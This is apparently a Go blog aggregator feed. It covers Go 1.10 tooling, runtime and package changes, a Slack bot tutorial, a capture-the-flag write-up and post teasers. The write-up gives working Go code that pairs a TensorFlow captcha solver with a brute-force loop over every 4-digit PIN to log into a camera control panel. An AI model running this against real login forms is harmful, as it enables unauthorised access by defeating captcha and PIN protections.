Speaking of caching, go test has seen a lot of changes as well. One of the most important is that go test will now cache the results of the tests if they meet certain criteria such as:

  • the test executable and command line match a previous run
  • the files and environment variables used by that run have not changed
  • the results are successful
  • the go test command received a list of packages to test, go test ./... for example
  • the test command line uses a subset of the test flags, -cpu, -list, -parallel, -run, -short, and -v

When the above conditions are met, the first run will produce the output as expected then subsequent runs will simply reuse that output. The run time of the tests will also notify that the cached output is used, by displaying (cached) instead of the original test run time.

You can always force the tests to run by specifying the flag -count=1, this being considered the idiomatic way to handle this requirement. As a recap, the -count flag allows you to specify how many times a test or a benchmark runs.

This change is covered in CL 75631.

The second important change to go test is that now a subset of go vet checks will run before the tests run in order to detect issues with your code. These checks will be treated as build failures in case any of them will produce any result. Only very high accuracy checks are included in this step. To disable this new behavior you’ll need to provide the -vet=off flag to the go test command CL 74356

The coverage profile of tests can now be created when running the tests against multiple packages, which was a highly requested feature. Combined with the new way to use the -coverpkg flag, it means you’ll be able to get the coverage for all the packages tested packages as well as their dependencies when multiple packages are being tested by running go test -coverpkg=all -coverprofile cover.out ./... CL 76875 and CL 76876

Test binaries will now always write to stdout when invoked via go test whereas before stderr could have been used sometimes CL 76871

Tests running in parallel will now be better delimited by having PAUSE and CONT as status update lines when running with -v flag. This change allows tooling to better interpret the start and stop of parallel tests. The -failfast flag now will stop testing immediately on the first failure, with the caveat that parallel tests are still allowed to continue until they finish CL 74450

Finally, go test -json will now output the format of the tests in json so that tooling such as IDEs can better present the results of the test. There is also a new command, go tool test2json that will produce convert the test output to json CL 76873 and CL 76872


gofmt

Another set of tooling changes in Go 1.10 come from gofmt as it received a few updates. First, three index slice expressions containing complex expressions are now always formatted as slice[start+1 : stop : capacity] CL 67633

The second change is that single-method interface literals written on a single line, which are sometimes used in type assertions, are no longer split onto multiple lines CL 66130

The third one is that if a composite literal would include a comment and only comments, then the comment(s) will now be indented CL 74232

If you use gofmt in your CI environment, you will see some failures because of these changes. The official position is that gofmt is not covered by the same set of compatibility promises as Go 1 itself, so these are not “breaking changes” but it’s rather a constant evolving specification, which can suffer changes on each new Go release. The recommendation is not to have gofmt enforced in the CI or have everyone use the same binary version for the application that formats your source code as well as checks it in the CI system.

A good news is that now all flags supported by gofmt are supported by go fmt as well.


go fix

go fix now replaces imports from golang.org/x/net/context with context which will help you migrate your code to a Go 1.9+ compatible code by running go tool fix -r context your/package CL 58590


pprof

Go 1.10 will also bring an update to the pprof tool. This brings a host of improvements, among which an updated UI featuring a flame graph representation of the profiling data CL 75870


Runtime

Go’s runtime received a few updates, with the first one I’ll cover being done on how the LockOSThread and UnlockOSThread mechanism works. If before, in nested calls, UnlockOSThread would need to be called only once to unlock the thread, now it will need to be called as many times as LockOSThread was called CL 45752

You may have noticed the <autogenerated> frame (line) in the stack traces before. This is now hidden, unless a panic or other issue happens in it. This also means that if your code would call runtime.Caller with a certain number of skip frames, then this change will be a “breaking change” in its behaviour as the <autogenerated> frames will not be counted there either CL 45412

Another important change in the Go runtime is the introduction of soft and hard goals (limits) for garbage collection CL 59970

The soft limit is the current value of the GOGC while the hard limit is 10% higher than the soft limit. Heavy GC reliant applications (so far only benchmarks) shows that there’s an increase in the heap size of the application.


CGO support

CGO support has also received updates, with C typedefs such as typedef X Y now which means you’ll be able to use C.X and C.Y interchangeably in Go now, as if they would be Go aliases, type X = Y CL 62670

Another welcomed change when working with C and Go is that you can now pass Go strings directly to C. This is done by declaring a C function in a Go file with a parameter type of the special type name _GoString_. To access the string length, you’ll need to call size_t _GoStringLen(_GoString_ s) an in order to get the pointer to the string contents, you’ll need use const char *_GoStringPtr(_GoString_ s) CL 70890

Some C types that were previously mapped to a pointer type in Go are now mapped to uintptr type. A couple of these types are CFTypeRef in Darwin’s CoreFoundation framework and the jobject in Java’s JNI interface. You’ll need to initialize the values for the affected types with 0 instead of nil This is a breaking change but thankfully you can fix this quickly and automatically by running go tool fix -r cftype your/package or go tool fix -r jni your/package CL 66332 and CL 81876


Debugging

Debugging support has also been improved in the latest release which should make your debugging experience via Delve even better than before. And as a reminder, Delve is most likely integrated with your favorite code editor.


Assembly support

Assembly support got better as well, with a host of new instructions being added. Most important changes are under amd64 platform with 359 new instructions including the full AVX, AVX2, BMI, BMI2, F16C, FMA3, SSE2, SSE3, SSSE3, SSE4.1, and SSE4.2 extension sets.


Packages

Changes in the various standard library packages:

  • bufio - the new Reader.Size and Writer.Size and methods report the Reader or Writer’s underlying buffer size CL 75150

  • bytes - the Fields, FieldsFunc, Split, and SplitAfter each already returned slices pointing into the same underlying array as its input. Go 1.10 changes each of the returned subslices to have capacity equal to its length, so that appending to a subslice will not overwrite adjacent data in the original input. This is also a “breaking change” in the behavior of these functions and you might need to update your code.

  • crypto/tls - the TLS server now advertises support for SHA-512 signatures when using TLS 1.2. The server already supported the signatures, but some clients would not select them unless explicitly advertised CL 74950

  • crypto/x509 - leaf certificate validation now enforces the name constraints for all names contained in the certificate, not just the one name that a client has asked about. Extended key usage restrictions are similarly now checked all at once. As a result, after a certificate has been validated, now it can be trusted in its entirety. It is no longer necessary to revalidate the certificate for each additional name or key usage CL 62693

  • database/sql/driver - drivers that want to construct a sql.DB for their clients can now implement the Connector interface and call the new sql.OpenDB function, instead of needing to encode all configuration into a string passed to sql.Open. Drivers that want to parse the configuration string only once per sql.DB instead of once per sql.Conn, or that want access to each sql.Conn’s underlying context, can make their Driver implementations also implement DriverContext’s new OpenConnector method. Drivers that implement ExecerContext no longer need to implement Execer; similarly, drivers that implement QueryerContext no longer need to implement Queryer. Previously, even if the context-based interfaces were implemented they were ignored unless the non-context-based interfaces were also implemented. To allow drivers to better isolate different clients using a cached driver connection in succession, if a Conn implements the new SessionResetter interface, database/sql will now call ResetSession before reusing the Conn for a new client

  • encoding/json - the Decoder adds a new method DisallowUnknownFields that causes it to report inputs with unknown JSON fields as a decoding error. The default behavior has always been to discard unknown fields. CL 27231 Unmarshal can no longer decode into fields inside embedded pointers to unexported struct types, because it cannot initialize the unexported embedded pointer to point at fresh storage. Unmarshal now returns an error in this case. This means you may need to update your code or a “breaking change” will happen, which could be hidden if the code is not properly handling errors CL 76851

  • text/template and html/template - the new actions {{break}} and {{continue}} break out of the innermost {{range ...}} loop, like the corresponding Go statements CL 66410

  • math/rand - the new math/rand.Shuffle function and corresponding math/rand.*Rand.Shuffle method shuffle an input sequence CL 51891

  • math - the new functions Round and RoundToEven round their arguments to the nearest floating-point integer; Round rounds a half-integer to its larger integer neighbor (away from zero) while RoundToEven rounds a half-integer to its even integer neighbor CL 43652 and CL 61211

  • net - the Conn and Listener implementations in this package now guarantee that when Close returns, the underlying file descriptor has been closed. In earlier releases, if the Close stopped pending I/O in other goroutines, the closing of the file descriptor could happen in one of those goroutines shortly after Close returned. TCPListener and UnixListener now implement syscall.Conn, to allow setting options on the underlying file descriptor using syscall.RawConn.Control. The Conn implementations returned by Pipe now support setting read and write deadlines. The IPConn.ReadMsgIP, IPConn.WriteMsgIP, UDPConn.ReadMsgUDP, and UDPConn.WriteMsgUDP, methods are now implemented on Windows

  • net/http - on the client side, an HTTP proxy, most commonly configured by ProxyFromEnvironment, can now be specified as an https:// URL, meaning that the client connects to the proxy over HTTPS before issuing a standard, proxied HTTP request. Previously, HTTP proxy URLs were required to begin with http:// or socks5://. On the server side, FileServer and its single-file equivalent ServeFile now apply If-Range checks to HEAD requests. FileServer also now reports directory read failures to the Server’s ErrorLog. The content-serving handlers also now omit the Content-Type header when serving zero-length content. ResponseWriter’s WriteHeader method now panics if passed an invalid (non-3-digit) status code. Redirect now sets the Content-Type header before writing its HTTP response

  • net/url - ResolveReference now preserves multiple leading slashes in the target URL. Previously it rewrote multiple leading slashes to a single slash, which resulted in the http.Client following certain redirects incorrectly

  • os - File adds new methods SetDeadline, SetReadDeadline, and SetWriteDeadline that allow setting I/O deadlines when the underlying file descriptor supports non-blocking I/O operations CL 71770 The definition of these methods matches those in net.Conn. Also matching net.Conn, File’s Close method now guarantee that when Close returns, the underlying file descriptor has been closed

  • strings - a new type Builder is a replacement for bytes.Buffer for the use case of accumulating text into a string result. The Builder’s API is a restricted subset of bytes.Buffer’s that allows it to safely avoid making a duplicate copy of the data during the String method CL 74931

  • unicode - the unicode package and associated support throughout the system has been upgraded from version 9.0 to Unicode 10.0, which adds 8,518 new characters, including four new scripts, one new property, a Bitcoin currency symbol, and 56 new emoji

A lot more packages have received changes but I’ve tried to keep the list to a minimum. To view the full list of changes, you can read this the Draft Release Notes.


Closing notes

Due to the vast amount of changes both in compiler and in runtime, some workloads are expected to perform better as of Go 1.10. However, I highly recommend that you grab the latest Go 1.10 release, 1.10 Beta 1 and test it on your workloads, run the tests against the new Go version and help the Go team identify issues before Go 1.10 lands in February. There are a few weeks where even just running the test / benchmark suite could make the difference. And Go 1.10 Beta 1 is also available as a Docker container so you can minimize the impact it has on your system.

If you want to stay up to date with the developments of Go, I recommend following @golang_cls Twitter account which provides a curated list of interesting commits as they are added to Go.

If you want to talk more about Go, its evolution, and what’s next for Go, tweet me, or meet me at Gophercon Iceland!

Finally, I would like to thank the Go Team and all contributors that helped Go reach 1.10 and I look forward to what the future holds.

A big thank you goes to Russ Cox and the team that created the initial draft documentation which this article uses / reuses a lot.

Errata:

The initial version of this article incorrectly mentioned a change about how GOROOT is handled. Thank you to Dominik Honnef for reporting this.

2017-12-29

One of the most hotly debated topics in the world of the Go programming language, is the lack of generics. Generics are considered a key feature in other statically typed programming languages like Java or C#. However, the makers of Go resisted the demand to add it to the language so far. A key reason … Continue reading "The empty interface in the Go programming language"

The post The empty interface in the Go programming language appeared first on Mina Andrawos.

2017-12-29

Create a Slack bot with golang

Introduction

In this post we’ll look at how to set up a quick Slack bot that receives messages (either direct or from channel) and replies to the user. I’ve been an IRC user for many years and always loved setting up bots, whether for sports scores, weather, or something else entirely. Recently I’ve actually had an opportunity to implement my first Slack bot and figured I would document the process for others! You can find all of the code for this post listed here, and PRs are certainly welcome :D

For this assignment we’ll need a few things, not all of which are covered in this post. I invite the reader to take a look at the installation practices for the other software dependencies based on their specific environment needs. Here I’ll be using Fedora 26 (4.14.6-200.fc26.x86_64) along with these tools:

  1. ngrok for Slack API replies – https://ngrok.com/docs#expose
  2. NHL statsapi to collect hockey scores – https://statsapi.web.nhl.com/api/v1/schedule
  3. the excellent golang slack library from nlopes – https://github.com/nlopes/slack

You’ll either need to set up an ngrok listener for your chosen localhost port, or develop on a server that it externally routable (e.g. DigitalOcean droplet). In my case here I’m developing on my laptop but would deploy permanently on a droplet.

The Slack API

Initial Configuration

The Slack API is well flushed out and spells out what specific payloads to anticipate for any particular object. There are a number of calls you can develop your bot to address, but in our case here we’ll look at using the Real Time Messaging API (RTM) and specifically the chat.postMessage and chat.postEphemeral methods.

Before any of our code is working we’ll need to set up an app within slack itself. Navigate to the app registration tool to create a new application within your workspace. Here I’ve created the NHL Scores app within my workspace.

Create App

Once done you’ll be presented with a number of options for your new application. Here we’ll need to create a Bot User that will act as our listener within the workspace. My example is called nhlslackbot and will be visible to all users within the workspace once mounted.

Bot User

We’ll need to generate an OAuth token for our user in order to actually connect with the Slack API. To do so click on the OAuth & Permissions section to Install App to Workspace which will prompt you to authorize access and generate the tokens you’ll use. You’ll need to copy the Bot User OAuth Access Token somewhere local, but always make sure this is not shared anywhere! This token is secret and should be treated like your password!

Authorize

Lastly we’ll need to set up the Interative Components of our application and specify the ngrok (or other) endpoint that the API will send responses to. In my case, I’ve added a custom ngrok value here called https://sebtest.ngrok.io/. This endpoint is where we’ll receive all correspondence from Slack itself, and this is how we’ll be able to process any incoming messages from the channels.

Interactive

With that all sorted, we can finally dig into the code!

Code components

The crux of the code is how we handle receiving messages from the slack connection. Using the Bot User OAuth Access Token to establish the initial connection, we must continuously poll the system for incoming messages. The API gives us the ability to trigger off of a number of event types, such as:

  1. Hello Events
  2. Connected Events
  3. Presence Change Events
  4. Message Events
  5. and many more

The beauty of this verbosity is that we can trigger messages on a number of different use-cases, really giving us the ability to tailor the bot to our specific needs. For this example, we’ll look at using the *slack.MessageEvent type to support both indirect (within channel using @) or direct messages. From the library, The primary poll for message events leverages the websocket handler and just loops over events until we’ve received one that we want:

func (s *Slack) run(ctx context.Context) {
    slack.SetLogger(s.Logger)

    rtm := s.Client.NewRTM()
    go rtm.ManageConnection()

    s.Logger.Printf("[INFO]  now listening for incoming messages...")
    for msg := range rtm.IncomingEvents {
        switch ev := msg.Data.(type) {
        case *slack.MessageEvent:
            if len(ev.User) == 0 {
                continue
            }

            // check if we have a DM, or standard channel post
            direct := strings.HasPrefix(ev.Msg.Channel, "D")

            if !direct && !strings.Contains(ev.Msg.Text, "@"+s.UserID) {
                // msg not for us!
                continue
            }

            user, err := s.Client.GetUserInfo(ev.User)
            if err != nil {
                s.Logger.Printf("[WARN]  could not grab user information: %s", ev.User)
                continue
            }

            s.Logger.Printf("[DEBUG] received message from %s (%s)\n", user.Profile.RealName, ev.User)

            err = s.askIntent(ev)
            if err != nil {
                s.Logger.Printf("[ERROR] posting ephemeral reply to user (%s): %+v\n", ev.User, err)
            }
        case *slack.RTMError:
            s.Logger.Printf("[ERROR] %s\n", ev.Error())
        }
    }
}

Once we confirm that the message is indeed directed to us, we pass the event handler along to our askIntent function. Remember that this is a contrived example that’s just going to send back NHL game scores to the user, iff they acknowledge that specific intent. We could build up an entire workflow around this user interaction that would send different paths depending on user choices to our prompts, or have no prompts at all! Those different cases are outside the scope of this introductory post, so for now we just want to send back a quick Yes v No prompt and handle accordingly.

To do precisely that, our handler askIntent will process the message and genreate an chat.postEphemeral message to send back to the event user (aka the person asking for details). The “ephemeral” post is one that’s directed only to the requester. Though other users will see the initial request to the bot if within the same channel, the subsequent interaction with the bot will only be done between the user and the bot. From the docs:

This method posts an ephemeral message, which is visible only to the assigned user in a specific public channel, private channel, or private conversation.

With that in mind, we set up the initial response payload using the attachments spec from the API, defining a set of actions that the user is able to choose. For this part of the conversation the user must reply Yes or No for whether they’d like us to retrieve the most recent scores. If No, we reply with a basic note and continue listening; if Yes then let’s retrieve the scores!

// askIntent is the initial request back to user if they'd like to see
// the scores from the most recent slate of games
//
// NOTE: This is a contrived example of the functionality, but ideally here
// we would ask users to specify a date, or maybe a team, or even
// a specific game which we could present back
func (s *Slack) askIntent(ev *slack.MessageEvent) error {
    params := slack.NewPostEphemeralParameters()
    attachment := slack.Attachment{
        Text:       "Would you like to see the most recent scores?",
        CallbackID: fmt.Sprintf("ask_%s", ev.User),
        Color:      "#666666",
        Actions: []slack.AttachmentAction{
            slack.AttachmentAction{
                Name:  "action",
                Text:  "No thanks!",
                Type:  "button",
                Value: "no",
            },
            slack.AttachmentAction{
                Name:  "action",
                Text:  "Yes, please!",
                Type:  "button",
                Value: "yes",
            },
        },
    }

    params.Attachments = []slack.Attachment{attachment}
    params.User = ev.User
    params.AsUser = true

    _, err := s.Client.PostEphemeral(
        ev.Channel,
        ev.User,
        slack.MsgOptionAttachments(params.Attachments...),
        slack.MsgOptionPostEphemeralParameters(params),
    )
    if err != nil {
        return err
    }

    return nil
}

The attachments in the snippet above present the user with the following dialog:

Options

If the user selects No, thanks! then we reply with a basic message:

Choose No

This part of the interaction is precisely where the ngrok endpoint comes into play. The user’s interaction is not directly with our code, but instead with slack itself. The message and interaction is passed through slack and on to us at the redirect URL we specified earlier, in my case https://sebtest.ngrok.io which routes to our internal localhost:9191 interface, and from there to our postHandler as defined in our webapp router.

The tricky part here is to process the payload portion of the JSON response from the API. The POST that slack returns back to our URL is a payload form that contains a bevy of information for our interaction. In this case, the user’s response (either Yes or No) as well as a callbackID which we actually passed in our original mesage prompt to the user! This is incredibly useful, especially as you have more and more users interacting with your bot as you can specify unique actions based on the trigger. For example, if the user selects Yes we could send subsequent ephemeral messages to ask for a specific date, or maybe a certain team? We could even define the callback value as a key to a function map that would then trigger some kind of other workflow altogether (like posting to a blog resource, or checking DB credentials, etc). The options are indeed endless, but for the scope of this contrived example we just stick to the scores from last night.

func postHandler(w http.ResponseWriter, r *http.Request) {
    if r.URL.Path != "/" {
        w.WriteHeader(http.StatusNotFound)
        w.Write([]byte(fmt.Sprintf("incorrect path: %s", r.URL.Path)))
        return
    }

    if r.Body == nil {
        w.WriteHeader(http.StatusNotAcceptable)
        w.Write([]byte("empty body"))
        return
    }
    defer r.Body.Close()

    err := r.ParseForm()
    if err != nil {
        w.WriteHeader(http.StatusGone)
        w.Write([]byte("could not parse body"))
        return
    }

    // slack API calls the data POST a 'payload'
    reply := r.PostFormValue("payload")
    if len(reply) == 0 {
        w.WriteHeader(http.StatusNoContent)
        w.Write([]byte("could not find payload"))
        return
    }

    var payload slack.AttachmentActionCallback
    err = json.NewDecoder(strings.NewReader(reply)).Decode(&payload)
    if err != nil {
        w.WriteHeader(http.StatusGone)
        w.Write([]byte("could not process payload"))
        return
    }

    action := payload.Actions[0].Value
    switch action {
    case "yes":
        grabStats(w, r)
    case "no":
        w.Write([]byte("No worries, let me know later on if you do!"))
    default:
        w.WriteHeader(http.StatusNotAcceptable)
        w.Write([]byte(fmt.Sprintf("could not process callback: %s", action)))
        return
    }

    w.WriteHeader(http.StatusOK)
}

A key component to note here is the http response code; if you do not specify the http.StatusOK value in your prompt back to the API, the error message you may want to convey to the user gets eaten by the system. The default slackbot will absorb that message and reply to you (with an ephemeral message no less) with the status code, but not the messages. Long story short, whatever message you’d like to actually send back to the requester should have an http.StatusOK header.

Lastly, if our user has selected the Yes option we call out to our NHL stats api and process the results for the user!

// grabStats will process the information from the API and return the data to
// our user!
func grabStats(w http.ResponseWriter, r *http.Request) {
    n := fetch.New()

    buf, err := n.GetSchedule()
    if err != nil {
        w.WriteHeader(http.StatusNoContent)
        w.Write([]byte(fmt.Sprintf("error processing schedule; %v", err)))
        return
    }

    w.WriteHeader(http.StatusOK)
    w.Write(buf)
}

// GetSchedule calls out to the NHL API listed at APIURL
// and returns a formatted JSON blob of stats
//
// This function calls the 'schedule' endpoint which
// returns the most recent games by default
// TODO: add options to provide date range
func (n *NHL) GetSchedule() ([]byte, error) {
    var buf bytes.Buffer

    r, err := http.Get(fmt.Sprintf("%s/schedule", APIURL))
    if err != nil {
        return buf.Bytes(), err
    }
    defer r.Body.Close()

    err = json.NewDecoder(r.Body).Decode(&n.Schedule)
    if err != nil {
        return buf.Bytes(), fmt.Errorf("error parsing body: %+v", err)
    }

    for _, x := range n.Schedule.Dates {
        for idx, y := range x.Games {
            buf.WriteString(fmt.Sprintf("Game %d: %s\n", idx+1, y.Venue.Name))
            buf.WriteString(fmt.Sprintf("Home: %s -- %d\n", y.Teams.Home.Team.Name, y.Teams.Home.Score))
            buf.WriteString(fmt.Sprintf("Away: %s -- %d\n\n", y.Teams.Away.Team.Name, y.Teams.Away.Score))
        }
    }

    return buf.Bytes(), nil
}

Sample output below…

Sample Output

Congratulations, you’ve now delivered an ephemeral payload to your slack user’s request!


About The Author

Sebastian Borza is a golang, C, and python developer based in Chicago, IL.

Source Handle
freenode sborza
efnet sebito91
github sebito91
twitter @sebito91
keybase sborza
GPG E4110D3E
2017-12-28

This year I helped organize several online security challenges, one of which is Blacklight. Among the things I was asked to do, was creating a POC for a specific challenge, to prove that it’s possible to solve in a reasonable time. That challenge was one I face occasionally in my everyday life, not always with success: break a captcha.

The task that requires breaking the captcha is disabling a security camera, to break into a room, without the security camera capturing your face. Here is how it looked before:

A frame from the camera's capture

The provided information was the saved model used for captcha recognition in the binary ProtoBuf format, and a link to the camera control panel.

An input of a TensorFlow model requires doing some TensorFlow!

A Few words about TensorFlow

TensorFlow is an open-source software for Machine Intelligence, used mainly for machine learning applications such as neural networks.

TensorFlow runs computations involving tensors, and there are many sources to understand what a Tensor is. This article is definitely not a sufficient one, and it only holds the bare minimum to make sense of what the code does. Tensors are awesome and complex mathematical objects, and I encourage you to take the time to learn more about them.

For our purposes, here is the explanation from the TensorFlow website:

A tensor is a generalization of vectors and matrices to potentially higher dimensions. Internally, TensorFlow represents tensors as n-dimensional arrays of base datatypes.

A tensor is defined by the data type of the value(s) it holds, and its shape, which is the number of dimensions, and number of values per dimension.

The flow part in TensorFlow comes to describe that essentially the graph (model) is a set of nodes (operations), and the data (tensors) “flow” through those nodes, undergoing mathematical manipulation. You can look at, and evaluate, any node of the graph.

A Few words about TensorFlow+Go

On the official TensorFlow website, you can find a page dedicated to Go, where it says “TensorFlow provides APIs that are particularly well-suited to loading models created in Python and executing them within a Go application.” It also warns that the TensorFlow Go API is not covered by the TensorFlow API stability guarantees. To the date of this post, it is still working as expected.

When going to the package page, there are 2 warnings: 1) The API defined in this package is not stable and can change without notice. 2) The package path is awkward: github.com/tensorflow/tensorflow/tensorflow/go.

In theory, the Go APIs for TensorFlow are powerful enough to do anything you can do from the Python APIs, including training. Here is an example of training a model in Go using a graph written in Python. In practice, some of tasks, particularly those for model construction are very low level and certainly not as convenient as doing them in Python. For now, it generally makes sense to define the model in TensorFlow for Python, export it, and then use the Go APIs for inference or training that model.[1] So while Go might not be your first choice for working with TensorFlow, they do play nice together when using existing models.

Let’s break into this page

The parts of the page I was facing seemed pretty familiar to your regular captcha-protected form:

  • PIN Code - brute-force
  • Captcha - use the model

So my TO DOs were:

  • 1. Build a captcha reader
  • 2. While not logged in:
    • 2.1 Generate the next PIN code
    • 2.2 Get captcha text for current captcha image
    • 2.3 Try to log in

SavedModel CLI

From the website: SavedModel is the universal serialization format for TensorFlow models.

So our first step would be figuring out the input and output nodes of the prediction workflow. SavedModel CLI is an inspector for doing this. Here’s the command and its output:

$ saved_model_cli show --dir <PATH> --all


MetaGraphDef with tag-set: 'serve' contains the following SignatureDefs:

signature_def['serving_default']:
The given SavedModel SignatureDef contains the following input(s):
inputs['input'] tensor_info:
    dtype: DT_STRING
    shape: unknown_rank
    name: CAPTCHA/input_image_as_bytes:0
The given SavedModel SignatureDef contains the following output(s):
outputs['output'] tensor_info:
    dtype: DT_STRING
    shape: unknown_rank
    name: CAPTCHA/prediction:0
Method name is: tensorflow/serving/predict

What we learn from this are the node names.

Input node: CAPTCHA/input_image_as_bytes,

Output node: CAPTCHA/prediction.

Captcha

Now let’s load the model, using func LoadSavedModel(exportDir string, tags []string, options *SessionOptions) (*SavedModel, error). The function takes 3 arguments: path, tags and seesion options. Explaining tags and options can easily take the entire post and will shift the focus, so for our purpose I used the convention {"serve"}, and provided no session options.

	savedModel, err := tf.LoadSavedModel("./tensorflow_savedmodel_captcha", []string{"serve"}, nil)
	if err != nil {
		log.Println("failed to load model", err)
		return
	}

Then get the captcha from the web page, and run it through the model. First, define the output of an operation in the graph (model+node) and its index.

	feedsOutput := tf.Output{
		Op:    savedModel.Graph.Operation("CAPTCHA/input_image_as_bytes"),
		Index: 0,
	}

Create a new tensor. The input can be a scalar, slices, or array. As we want to predict a captcha, we’ll need 1 dimension with 1 element, of type string.

	feedsTensor, err := tf.NewTensor(string(buf.String()))
	if err != nil {
		log.Fatal(err)
	}

Set a map from the operation we will apply to the input it will be applied on.

	feeds := map[tf.Output]*tf.Tensor{feedsOutput: feedsTensor}

Get the output from the prediction operation into this output struct.

	fetches := []tf.Output{
		{
			Op:    savedModel.Graph.Operation("CAPTCHA/prediction"),
			Index: 0,
		},
	}

Run the data through the graph and receive the output - the captcha prediction.

	captchaText, err := savedModel.Session.Run(feeds, fetches, nil)
	if err != nil {
		log.Fatal(err)
	}
	captchaString := captchaText[0].Value().(string)

Here is how this looks like:

The captcha screenshot

Generate a PIN code

The PIN code is made of 4 digits, so we’ll go over all the combinations. Additionally, in each iteration the saved model is required for the prediction operation, and of course some logs.

for x := 0; x < 10000; x++ {
		logIntoSite(fmt.Sprintf("%0.4d", x), savedModel, *printLogs)
	}

Try to log in

Once all values are there - the current value of the PIN code in the loop and the captcha prediction - let’s POST that request to the login page.

	params := url.Values{}
	params.Set("pin", pinAttempt)
	params.Set("captcha", captchaString)

	res, err := client.PostForm(string(siteUrl+"/disable"), params)
	if err != nil {
		log.Fatal(err)
	}

	defer res.Body.Close()
	buf = new(bytes.Buffer)
	buf.ReadFrom(res.Body)
	response := buf.String()

If the captcha prediction failed, run the prediction again, and retry with the same PIN code.

	if parseResponse(response, pinAttempt, captchaString, printLogs) == badCaptcha {
		logIntoSite(savedModel, printLogs)
	}

The parseResponse function checks and reports whether the website response is a success or one of the failure messages, which I found by manually trying combinations of guessing a PIN code and correct and wrong captcha translations.

func parseResponse(response, pinAttempt, captchaString string, printLogs bool) string {
	message := "something happened"
	if strings.Contains(response, badPIN) {
		message = badPIN
	} else if strings.Contains(response, badCaptcha) {
		message = badCaptcha
	}

	logResponse(printLogs, message, pinAttempt, captchaString, response)
	return message
}

The rest of the code

To complete this code, let’s add everyones favorites: cookies and logging. Generating the captcha starts a new session, and in order to use the predicted captcha in the same session, we will open a cookie jar. Even though it’s the first time I am writing about cookies publicly, I will spare cookie jokes, as part of the Christmas spirit.

	jar, err := cookiejar.New(nil)
	if err != nil {
		log.Fatal(err)
	}
	client := &http.Client{
		Jar: jar,
	}

And here is how it looks when it’s all composed together.

To wrap this up

TensorFlow has many great models which can be used with Go. Here is a great list of those.

Online challenges can be an awesome way to learn, whether it’s coding, security or sports. The combination of putting in practice your knowledge and having a mission creates a fun environment where you can work on improving your skills. Consider joining such a challenge as your new year’s resolution.

Thanks a lot to Ed for reviewing this PR. Also thanks to Asim Ahankar from the TensorFlow team for pointing out it is possible to train models with Go, as updated in [1]. We will collaborate further to make the documentation around this more accessible.

If you want to chat more about this, tweet me, or meet me at Gophercon Iceland!

2017-12-27
It is real struggle to work with a new language, especially if the type doesn’t resemble what you have previously seen. I have been there with Go and lost my interest in the language when it first came out due to the reason I was pretending it is something I already knew. Go is considered as an object-oriented language even though it lacks type hierarchy. It has an unconventional type system.